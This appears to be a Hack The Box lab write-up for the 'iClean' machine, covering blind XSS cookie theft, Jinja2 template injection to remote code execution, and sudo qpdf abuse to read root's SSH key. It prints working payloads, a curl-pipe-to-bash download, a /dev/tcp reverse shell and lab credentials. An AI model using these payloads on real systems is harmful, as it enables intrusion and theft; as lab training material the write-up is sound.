layout: post title: “Hack The Box Write-up: iClean” date: 2024-04-15 00:00:00 -0400 categories: posts htb pentesting — iClean is a Linux box created by LazyTitan33 that is rated medium by the HTB community. iClean’s exploit process involves exploiting a web application vulnerable to blind cross-site scripting (XSS), server-side template injection (SSTI), and then privilege escalation via an arbitrary write as root vulnerability in the sudo configuration.

Network Enumeration

As usual, we start by enumerating the open ports and services on the system.

# Nmap 7.94SVN scan initiated Mon Apr 15 12:07:52 2024 as: nmap -p- -sV -oA 10.10.11.12 -v 10.10.11.12
Nmap scan report for capiclean.htb (10.10.11.12)
Host is up (0.027s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 15 12:07:59 2024 -- 1 IP address (1 host up) scanned in 7.04 seconds

HTTP

The only usable listening service at our disposal is HTTP. Browsing to the index page of the site reveals this page:

Index page for a website called "Capiclean". Includes a Login button, a search bar, a hamburger menu, and the content "KEEP YOUR HOUSE CLEAN" "Let us take care of the choring so that you can focus on what really matters - running your business or enjoying your home."

The menu bar in the top right of the page lists 5 menu options, as shown below.

The options are "Home", "Services", "About", "Choose", and "Team"

I browsed through each page to enumerate the application’s functionality, and found a page to obtain a quote for services at http://capiclean.htb/quote. The page is shown below.

The page includes three checkboxes labeled "Carpet Cleaning", "Tile & Grout", and "Office Cleaning" and a form for email address to be submitted

Blind XSS

I found that the email address field was vulnerable to Blind XSS. I discovered the vulnerability when I sent a crafted request for carpet cleaning. A normal quote generated an HTTP POST request to http://capiclean.htb/sendMessage and was captured by the Burp Suite proxy as shown below.

Request:
POST /sendMessage HTTP/1.1
Host: capiclean.htb
[snip]
Cookie: Session=eyJyb2xl[snip]M3rkM
Upgrade-Insecure-Requests: 1

service=Carpet+Cleaning&email=test%40capiclean.htb

Response:
HTTP/1.1 200 OK
[snip]
Server: Werkzeug/2.3.7 Python/3.10.12
[snip]

I chose a payload that would send the victim’s cookies to a Netcat listener on port 1337. The payload and the URL encoded version of the payload is shown below in the Decoder component in Burp Suite.

Payload: "<img src=x onerror=this.src="http://10.10.14.225:1337/"+btoa(document.cookie)>"

I saved the cookie in Cookie Manager and browsed to /dashboard, which allowed me access to the application’s admin panel.

Dashboard page is titled "Admin Dashboard" and lists four options: "Generate Invoice", "Generate QR", "Edit Services", "Quote Requests"

Server-Side Template Injection (SSTI)

I browsed to each of the new pages and found the QR generation page accepted an invoice number generated by the “Generate Invoice” page.

Browsed to "http://capiclean.htb/InvoiceGenerator" with the text "Invoice ID generated: 672097015"

Browsed to "http://capiclean.htb/QRGenerator" with the text "Generate QR", a text bot with the invoice ID entered, and a button labeled "Generate"

The next page allowed the user to enter a link to a QR code that would be added to an invoice generated by the page.

Part of the next page showing "Generate QR" as bold text, an empty text field labeled "invoice-id", a button labeled "Generate", text that says "QR Code Link: http://capiclean.htb/static/qr_code/qr_code_6720970151.png", more bold text saying "Insert QR Link to generate Scannable Invoice:", another empty text field labeled "qr-link", and another button labeled "submit"

An invoice generated with “test” for the link is shown below.

An invoice is shown on screen with various fields and charges.

The QR-link field can be leveraged to inject arbitrary data in the Jinja2 Python templating engine used by the web application. I identified that the website was using Flask by noticing the Server header in each response returned by the application. HackTricks includes a primer on different payloads for testing injection as well as how to leverage injection to obtain arbitrary read/write and RCE via the templating engine. I demonstrated this vulnerability first by injecting {{config.items()}} into the QR link field.

Request:
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
[snip]
Cookie: Session=eyJyb2xl[snip]M3rkM
Upgrade-Insecure-Requests: 1

invoice_id=&form_type=scannable_invoice&qr_link={{config.items()}}

Response:
[snip]
<img src="data:image/png;base64,dict_items([(&#39;DEBUG&#39;, False), (&#39;TESTING&#39;, False),[snip]])>

While testing several payloads, I found that certain characters caused the application to return an HTTP 500 response. For example, requests with _ in the field returned an HTTP 500.

Request:
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
[snip]
Cookie: Session=eyJyb2xl[snip]M3rkM
Upgrade-Insecure-Requests: 1

invoice_id=&form_type=scannable_invoice&qr_link={{[].__class__}}

Response:
HTTP/1.1 500 INTERNAL SERVER ERROR
[snip]

<!doctype html>
<html lang=en>
  <title>
    500 Internal Server Error
  </title>
  <h1>
    Internal Server Error
  </h1>
  <p>
    The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.
  </p>

Encoding the payload with the format \x + hex_code allowed the request to go through. The root directory on the webserver was displayed in place of the QR code URL.

Request:
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
[snip]
Cookie: Session=eyJyb2xl[snip]M3rkM
Upgrade-Insecure-Requests: 1

invoice_id=&form_type=scannable_invoice&qr_link={{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[365]('ls /',shell=True,stdout=-1).communicate()}}

Response:
[snip]
<img src="data:image/png;base64,(b&#39;bin\nboot\ndeb\netc\nhome\nlib\nlib32\nlib64\nlibx32\nlost+found\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\nytmp\nusr\nvar\n&#39;, None)" alt="QR Code">

I then crafted an RCE payload following the steps given in the HackTricks writeup. The request and response in Burp Suite Repeater are shown below.

Request:
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
[snip]
Cookie: Session=eyJyb2xl[snip]M3rkM
Upgrade-Insecure-Requests: 1

invoice_id=&form_type=scannable_invoice&qr_link={{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[365]('curl http://10.10.14.225:1337',shell=True,stdout=-1).communicate()}}
Response:
HTTP/1.1 200 OK
[snip]

A Netcat listener open on 1337 successfully received the HTTP request generated by the curl command.

(kali@kali)-[~/htb/iclean]
$ nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.225] from capiclean.htb [10.10.11.12] 46820
GET / HTTP/1.1
Host: 10.10.14.225:1337
User-Agent: curl/7.81.0
Accept: */*

I wrote a bash reverse shell that would connect back to port 1337, which is shown here. I placed it in /var/www/html and then started the Apache webserver on my Kali VM.

(kali@kali)-[/var/www/html]
$ cat payload.sh
/bin/bash -i >& /dev/tcp/10.10.14.225/1337 0>&1

I triggered another command to request the payload and pass the payload to a new bash process, as shown below.

Request: 
POST /QRGenerator HTTP/1.1
Host: capiclean.htb
[snip]
Cookie: Session=eyJyb2xl[snip]M3rkM
Upgrade-Insecure-Requests: 1

invoice_id=&form_type=scannable_invoice&qr_link={{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[365]('curl http://10.10.14.225/exploit.sh|bash',shell=True,stdout=-1).communicate()}}

Response:
HTTP/1.1 200 OK
[snip]

A reverse shell was spawned and connected to the netcat listener.

(kali@kali)-[~/htb/iclean]
$ nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.225] from capiclean.htb [10.10.11.12] 48474
bash: cannot set terminal process group (1203): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$

User own

While this is a step in the right direction, the www-data user doesn’t have a lot of access on the system. The user is able to look at all files within /opt/app, which includes the app.py file used to serve the web application. At the top of the file there were credentials to connect to a MySQL database used to store records used by the web application.

www-data@iclean:/opt/app$ cat app.py
cat app.py
from flask import Flask, render_template, request, jsonify, make_response, session, redirect, url_for
from flask import render_template_string
import pymysql
import hashlib
impot os
import random, string
import pyqrcode
from jinaj2 import StrictUndefined
from io import BytesIO
import re, requests, base64

app = Flask(__name__)

app.config['SESSION_COOKIE_HTTPONLY'] = False

secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
    'database': 'capiclean'
}

It would be unwieldy to try to use the MySQL client over a reverse shell, so I used Chisel to forward the MySQL port on the iclean box to my Kali VM. The command I used to forward the port is shown below.

www-data@iclean:~$ ./chisel client 10.10.14.225:4444 R:3306:localhost:3306
./chisel client 10.10.14.225:4444 R:3306:localhost:3306
2024/04/14 21:57:10 client: Connecting to ws://10.10.14.225:4444
2024/04/14 21:57:11 client: Connected (Latency 32.271668ms)

I was then able to connect to the iclean box’s MySQL server using the MySQL client on my Kali box.

(kali@kali)-[~/htb/iclean]
$ mysql -u iclean -ppxCsmnGLckUb -h 127.0.0.1
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 13312
Server version: 8.0.36-0ubuntu0.22.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

I enumerated the database and found a users table in the capiclean database, which included the admin user as well as a user named consuela in the application.

Screenshot of the SQL query "select * from users;" with the output of 2 users: admin and consuela with hashes

I entered both hashes into CrackStation, and the password hash for consuela was successfully cracked.

Screenshot of CrackStation, a password hash cracker, with the hashes for admin and consuela entered. admin returns "Not found.", consuela returns "simple and clean"

Using this information, I was able to login as consuela over SSH to the box and obtain the user flag.

(kali@kali)-[/var/www/html]
$ ssh consuela@capiclean.htb
The authenticity of host 'capiclean.htb (10.10.11.12)' can't be established.
ED25519 key fingerprint is SHA256:[snip]
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'capiclean.htb' (ED25519) to the list of known hosts.
consuela@capiclean.htb's password:
Welcome to Ubuntu 22.0.4.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
[snip]
You have mail.
consuela@iclean:~$

User Enumeration

After getting access to the consuela user, I began enumerating information about the box. Out of habit I usually run the sudo -l command at the start of any user enum on *nix systems since it’s easy to misconfigure sudo in a way that allows privilege escalation to root. As luck would have it, the user does have access to running a command via sudo, as shown below.

consuela@iclean:~$ sudo -l
[sudo] password for consuela:
Matching Defaults entries for consuela on iclean:
[snip]

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf

Privilege Escalation

qpdf is a content-preserving PDF document transformer. We don’t need to know much about how the utility works, other than that it can read and write to any files that are owned by the user the program is running as.

qpdf has three command parameters that can be utilized to attach, list, and display attachments to a pdf file. They are:

  • --add-attachment
  • --list-attachment
  • --show-attachments

The functions are self-explanatory. At first I used the utility to obtain the /etc/shadow file by adding it as an attachment to a sample PDF that was accessible as the consuela user, as shown below.

consuela@iclean:~$ sudo qpdf test.pdf --add-attachment /etc/shadow -- shadow.pdf

However, the root password was not able to be cracked using CrackStation or John the Ripper and hashcat. Instead of spending more time trying to crack the hash, I instead tried to obtain a private key from /root/.ssh/id_rsa which is shown below.

consuela@iclean:~$ sudo qpdf test.pdf --add-attachment /root/.ssh/id_rsa -- privkey.pdf

I then attempted to login as root via SSH, which was successful, as shown below.

(kali@kali)-[~/htb/iclean/privesc]
$ ssh -i privkey root@capiclean.htb
Welcome to Ubuntu 22.0.4.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
[snip]
root@iclean:~#

Conclusion

This was a fun and creative box, pretty solidly tailored towards my areas of expertise: web application security and Linux privilege escalation. Thank you to LazyTitan53 for creating this box!